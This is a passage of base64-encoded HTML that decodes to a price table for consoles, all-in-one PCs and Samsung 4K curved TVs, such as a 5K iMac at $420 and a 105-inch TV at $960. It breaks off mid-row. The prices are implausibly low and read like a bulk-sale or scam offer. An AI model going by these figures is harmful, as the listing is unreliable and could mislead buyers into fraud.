OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFw dDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRk bGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5T b255Jm5ic3A7UGxheVN0YXRpb24mbmJzcDs0Jm5ic3A7MjB0aCZuYnNwO0Fubml2ZXJzYXJ5 Jm5ic3A7RWRpdGlvbiZuYnNwOyg1MDBHQik8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6 IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjog bWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFu PTU+V2l0aCZuYnNwO0dhbWUmbmJzcDsmYW1wOyZuYnNwO0NvbnRyb2xsZXI8L1REPg0KPFRE IHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7 IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkg d2lkdGg9NzI+JDE1MCZuYnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5 bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZF UlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lk dGg9NDMyIGNvbFNwYW49Nj5Tb255Jm5ic3A7UGxheVN0YXRpb24mbmJzcDs0PC9URD4NCjxU RCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBw dDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0x OSB3aWR0aD0zNjAgY29sU3Bhbj01PldpdGgmbmJzcDtHYW1lJm5ic3A7JmFtcDsmbmJzcDtD b250cm9sbGVyPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0 LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdi KDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQxMzUmbmJzcDs8L1REPjwvVFI+DQo8VFIg aGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVw dDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAs MCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+TWljcm9zb2Z0Jm5ic3A7WGJv eCZuYnNwO09uZSZuYnNwOyg1MDBHQik8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDEx cHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjogbWlk ZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFuPTU+ V2l0aCZuYnNwO0dhbWUmbmJzcDsmYW1wOyZuYnNwO0NvbnRyb2xsZXI8L1REPg0KPFREIHN0 eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZF UlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lk dGg9NzI+JDE1MCZuYnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9 IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJ Q0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9 NDMyIGNvbFNwYW49Nj5NaWNyb3NvZnQmbmJzcDtYYm94MzYwJm5ic3A7c2xpbSZuYnNwO0tp bmVjdCZuYnNwOyg1MDBHQik8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhF SUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBD T0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFuPTU+V2l0aCZu YnNwO0dhbWUmbmJzcDsmYW1wOyZuYnNwO0NvbnRyb2xsZXI8L1REPg0KPFREIHN0eWxlPSJG T05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FM LUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+ JDk1Jm5ic3A7PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1T SVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJ R046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29s U3Bhbj02Pk1pY3Jvc29mdCZuYnNwO1hib3gzNjAmbmJzcDtzbGltJm5ic3A7S2luZWN0Jm5i c3A7KDc1MEdCKTwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAx NC4yNXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiBy Z2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT5XaXRoJm5ic3A7R2Ft ZSZuYnNwOyZhbXA7Jm5ic3A7Q29udHJvbGxlcjwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0la RTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElDQUwtQUxJR046 IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03Mj4kMTAwJm5i c3A7PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAx MXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1p ZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02 Pk1pY3Jvc29mdCZuYnNwO1hib3gzNjAmbmJzcDtzbGltJm5ic3A7S2luZWN0Jm5ic3A7KDFU Qik8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsg V0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCww KSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFuPTU+V2l0aCZuYnNwO0dhbWUmbmJzcDsm YW1wOyZuYnNwO0NvbnRyb2xsZXI8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7 IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7 IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDExNSZuYnNwOzwvVEQ+ PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJ R0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENP TE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj48L1REPg0K PFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3 MHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0 PTE5IHdpZHRoPTM2MCBjb2xTcGFuPTU+PC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAx MXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlk ZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPjwvVEQ+PC9UUj4N CjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgVEVYVC1ERUNP UkFUSU9OOiB1bmRlcmxpbmU7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDY0OHB0OyBWRVJU SUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDI1NSwwLDApOyBGT05ULVNUWUxFOiBp dGFsaWMiIGhlaWdodD0xOSB3aWR0aD04NjQgY29sU3Bhbj0xMj5BbGwmbmJzcDtpbiZuYnNw O09uZSZuYnNwO1BDJm5ic3A7LyZuYnNwO0Rlc2t0b3AmbmJzcDtDb21wdXRlciZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWln aHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBX SURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDAp IiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5BcHBsZSZuYnNwO2lNYWMmbmJzcDt3 aXRoJm5ic3A7UmV0aW5hJm5ic3A7NUsmbmJzcDtkaXNwbGF577yITUY4ODZDSC9B77yJPC9U RD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRI OiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhl aWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjI3LjAmbmJzcDtpbmNoZXMmbmJzcDtpNSZu YnNwOzFUQiZuYnNwO0hERDwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJ R0hUOiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09M T1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03Mj4kNDIwJm5ic3A7PC9URD48L1RS Pg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6 IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6 IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02PkRlbGwmbmJzcDtY UFMmbmJzcDtPbmUmbmJzcDsyNzIwJm5ic3A7VG91Y2gmbmJzcDvvvIgyNzIwLUQzMzjvvIk8 L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lE VEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIg aGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFuPTU+MjcuMCZuYnNwO2luY2hlcyZuYnNwO2k3 Jm5ic3A7MVRCJm5ic3A7SEREPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBI RUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBD T0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQyOTAmbmJzcDs8L1REPjwv VFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdI VDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xP UjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+RGVsbCZuYnNw O09wdGlQbGV4Jm5ic3A7MzAxMSZuYnNwO++8iE9QVEkzMDExQUlPMzIwNe+8iTwvVEQ+DQo8 VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMjcw cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9 MTkgd2lkdGg9MzYwIGNvbFNwYW49NT4yMC4wJm5ic3A7aW5jaGVzJm5ic3A7SW50ZWwmbmJz cDtQZW50aXVtJm5ic3A7NTAwR0ImbmJzcDtIREQ8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJ WkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdO OiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDI2NSZu YnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTog MTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBt aWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49 Nj5IcCZuYnNwO0VOVlkmbmJzcDtUb3VjaFNtYXJ0Jm5ic3A7MjctSzM3MGNuJm5ic3A7PC9U RD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRI OiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhl aWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjI3LjAmbmJzcDtpbmNoZXMmbmJzcDtpNyZu YnNwOzE2R0IrMVRCJm5ic3A7U1NEK0hERDwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTog MTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElDQUwtQUxJR046IG1p ZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03Mj4kMjAwJm5ic3A7 PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0 OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRs ZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02Pjwv VEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURU SDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBo ZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT48L1REPg0KPFREIHN0eWxlPSJGT05ULVNJ WkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdO OiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+PC9URD48 L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBURVhU LURFQ09SQVRJT046IHVuZGVybGluZTsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNjQ4cHQ7 IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMjU1LDAsMCk7IEZPTlQtU1RZ TEU6IGl0YWxpYyIgaGVpZ2h0PTE5IHdpZHRoPTg2NCBjb2xTcGFuPTEyPlNtYXJ0Jm5ic3A7 TEVEJm5ic3A7VFYmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5 Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6 IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVp Z2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+MS4mbmJzcDs0SyZuYnNwO1VIRCZuYnNwO2N1 cnZlZCZuYnNwO1RWPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6 IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6 IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjwvVEQ+DQo8VEQg c3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNTRwdDsg VkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3 aWR0aD03Mj48L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJ WkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElH TjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xT cGFuPTY+U2Ftc3VuZyZuYnNwOzRLJm5ic3A7VUhEJm5ic3A7Y3VydmVkJm5ic3A7MTA1IiZu YnNwO1RWPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1 cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigw LDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PkxFRCZuYnNwO1RWLCZuYnNw OzNEJm5ic3A7VFYsJm5ic3A7SW50ZXJuZXQmbmJzcDtUViwmbmJzcDtzbWFydCZuYnNwO1RW LCZuYnNwO1VIRCZuYnNwO1RWPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBI RUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBD T0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQ5NjAmbmJzcDs8L1REPjwv VFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdI VDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xP UjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+U2Ftc3VuZyZu YnNwOzRLJm5ic3A7VUhEJm5ic3A7Y3VydmVkJm5ic3A7NzgiJm5ic3A7VFY8L1REPg0KPFRE IHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0 OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5 IHdpZHRoPTM2MCBjb2xTcGFuPTU+TEVEJm5ic3A7VFYsJm5ic3A7M0QmbmJzcDtUViwmbmJz cDtJbnRlcm5ldCZuYnNwO1RWLCZuYnNwO3NtYXJ0Jm5ic3A7VFYsJm5ic3A7VUhEJm5ic3A7 VFY8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsg V0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDAp IiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDYwMCZuYnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9 MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURU SDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBo ZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5TYW1zdW5nJm5ic3A7NEsmbmJzcDtVSEQm bmJzcDtjdXJ2ZWQmbmJzcDs2NSImbmJzcDtUVjwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0la RTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdO OiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNw YW49NT5MRUQmbmJzcDtUViwmbmJzcDszRCZuYnNwO1RWLCZuYnNwO0ludGVybmV0Jm5ic3A7 VFYsJm5ic3A7c21hcnQmbmJzcDtUViwmbmJzcDtVSEQmbmJzcDtUVjwvVEQ+DQo8VEQgc3R5 bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVS VElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0 aD03Mj4kNTYwJm5ic3A7PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0i Rk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElD QUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00 MzIgY29sU3Bhbj02PlNhbXN1bmcmbmJzcDs0SyZuYnNwO1VIRCZuYnNwO2N1cnZlZCZuYnNw OzU1IiZuYnNwO1RWPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6 IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6 IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PkxFRCZuYnNwO1RW LCZuYnNwOzNEJm5ic3A7VFYsJm5ic3A7SW50ZXJuZXQmbmJzcDtUViwmbmJzcDtzbWFydCZu 